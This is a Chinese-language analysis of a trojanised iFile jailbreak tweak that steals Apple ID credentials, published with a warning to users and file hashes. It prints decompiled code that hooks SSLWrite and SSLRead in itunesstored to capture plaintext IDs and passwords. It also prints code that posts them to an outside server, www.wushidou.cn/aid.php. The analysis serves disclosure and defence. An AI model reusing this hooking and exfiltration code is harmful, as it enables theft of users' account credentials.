盗号事件
最近乌云爆出某些越狱插件盗取22万个苹果账号的事件,如果曾经安装过不明源里的插件,建议用户立刻修改密码。
样本分析
下文将分析获取的一个盗号插件样本,该盗号木马将自己捆绑到知名的iFile越狱插件中以达到安装执行的目的。解开deb可以看到跟原版的iFile相比多了一个基于Substrate框架的插件:
$ ls iFile_2.2.0-2-2/data/Library/MobileSubstrate/DynamicLibraries/
iFile.dylib iFile.plist
查看iFile.plist发现iFile.dylib模块被注入了itunesstored这个关键服务:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Filter</key>
<dict>
<key>Executables</key>
<array>
<string>MobileSafari</string>
<string>assertiond</string>
<string>SpringBoard</string>
<string>itunesstored</string>
</array>
</dict>
</dict>
</plist>
使用IDA分析iFile.dylib,hookaid方法调用MSHookFunction函数hook了”/System/Library/Frameworks/Security.framework/Security”框架的SSLWrite和SSLRead函数。
int __fastcall hookaid(int a1)
{
...
NSLog(CFSTR("\n\n\n\n\n\n\n\n====================aid==========\n\n\n\n\n\n\n"));
g_aid_from = v6;
std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::__init(
&v18,
"/System/Library/Frameworks/Security.framework/Security",
54);
v21 = &__gxx_personality_sj0;
v22 = &GCC_except_table7_0;
v23 = &savedregs;
v25 = &v13;
v24 = ((unsigned int)&stru_DC.sectname[8] | 1) + 40728;
v20 = 1;
_Unwind_SjLj_Register(&v19);
std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::__init(&v17, "SSLWrite", 8);
v20 = 2;
v14 = getAdress(&v18, &v17);
v20 = 3;
std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v17);
v20 = -1;
std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v18);
if ( v14 )
{
v20 = -1;
MSHookFunction(v14, (int)aid_r_SSLWrite, (int)&aid_o_SSLWrite, v7);
}
v20 = -1;
std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::__init(
&v16,
"/System/Library/Frameworks/Security.framework/Security",
54);
v20 = 6;
std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::__init(&v15, "SSLRead", 7);
v20 = 7;
v14 = getAdress(&v16, &v15);
v20 = 8;
std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v15);
v20 = -1;
std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v16);
if ( v14 )
{
v20 = -1;
MSHookFunction(v14, (int)aid_r_SSLRead, (int)&aid_o_SSLRead, v8);
}
...
}
当用户输入AppleID和密码登陆账号时,itunesstored服务会通过SSL连接向苹果服务器验证。因此在SSLWrite函数中可以拦截到明文的ID和密码,而在SSLRead中可以通过服务器返回的数据判断登陆是否成功,一旦登陆成功就将记录的ID和密码回传到服务器。
通过调试手段可以确认在SSLWrite中能获取ID和明文密码:

可以在输出中看到我们测试输入的账号信息:
- appleId=test@pangu.io
- password=123456789
实际解析ID和密码并记录是在 aid_r_SSLWrite -> parsexml 函数中,而实际回传盗取的数据是在 aid_r_SSLRead -> sendAid 函数中:
void *sendAid(void)
{
...
std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::basic_string(&v45, &g_aid_name);
v51 = 2;
meEncry(&v46, &v45);
v51 = 3;
std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v45);
v51 = 4;
std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v33, &v47, "id=");
v51 = 5;
std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v34, &v33, &v46);
v51 = 6;
std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v35, &v34, "&name=");
v51 = 7;
std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v36, &v35, &v46);
v51 = 8;
std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v37, &v36, "&pass=");
v51 = 9;
std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::basic_string(&v31, &g_aid_pass);
v51 = 10;
meEncry(&v32, &v31);
v51 = 11;
std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v38, &v37, &v32);
v51 = 12;
std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v39, &v38, "&guid=");
v51 = 13;
std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v40, &v39, &g_aid_guid);
v51 = 14;
std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v41, &v40, "&from=");
v51 = 15;
getYinwen(&v30, g_aid_from);
v51 = 16;
std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v42, &v41, &v30);
v51 = 17;
std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v43, &v42, "&xp_ci=");
v51 = 18;
std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v44, &v43, &g_aid_xp_ci);
v51 = 19;
...
v51 = 35;
NSLog(CFSTR("g_from:%@ url:%s"));
v28 = 0;
v27 = 0;
v29 = 0;
v51 = 36;
std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(
&v23,
&v27,
"POST /aid.php HTTP/1.1\r\n");
v51 = 37;
std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(
&v24,
&v23,
"Host: www.wushidou.cn\r\n");
v51 = 38;
std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(
&v25,
&v24,
"Content-Type: application/x-www-form-urlencoded\r\n");
v51 = 39;
std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(
&v26,
&v25,
"Content-Length: (length)\r\n\r\n");
v51 = 40;
std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::operator=(&v27, &v26);
v51 = 41;
std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v26);
v51 = 42;
std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v25);
v51 = 43;
std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v24);
v51 = 44;
std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v23);
v51 = 45;
std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::__init(&v22, "(length)", 8);
if ( v47 & 1 )
v9 = v48;
else
v9 = (unsigned int)(unsigned __int8)v47 >> 1;
v51 = 46;
replaceRegexInt(&v27, &v22, v9);
v51 = 47;
std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v22);
if ( v47 & 1 )
{
v10 = v48;
v11 = v49;
}
else
{
v10 = (unsigned int)(unsigned __int8)v47 >> 1;
v11 = (unsigned int)&v47 | 1;
}
v51 = 48;
std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::append(&v27, v11, v10);
v21 = 0;
v51 = 49;
std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::__init(
&v20,
"www.wushidou.cn",
15);
v51 = 50;
v17 = (void *)Http::init(&v21, &v20);
...
}
值得注意的是回传过程中会有一个”from”标记,应该是用于记录这个盗号数据的来源。而在我们拿到的这个样本中 g_aid_from=”bamu”,应该是代表刀八木源中的插件。
后话
本次盗号事件再次让大家关心起越狱的安全问题。越狱为了让用户能完全控制自己的手机,势必打破了苹果原有的安全体系,从而降低了黑客开发盗号木马等的成本(对于非越狱的设备,通过利用漏洞的手段也是可以实现盗号木马等攻击,只是成本大大提高)。希望越狱用户在使用手机时,尽量在官方源下载原版插件。
文中分析的关键文件SHA1:
- 623866a78ac17fab043a28e8dc6dc63b93f691a2 iFile_2.2.0-2-2.deb
- c798d24673adcdfd1b31f1cf090766adbbe1622b iFile.dylib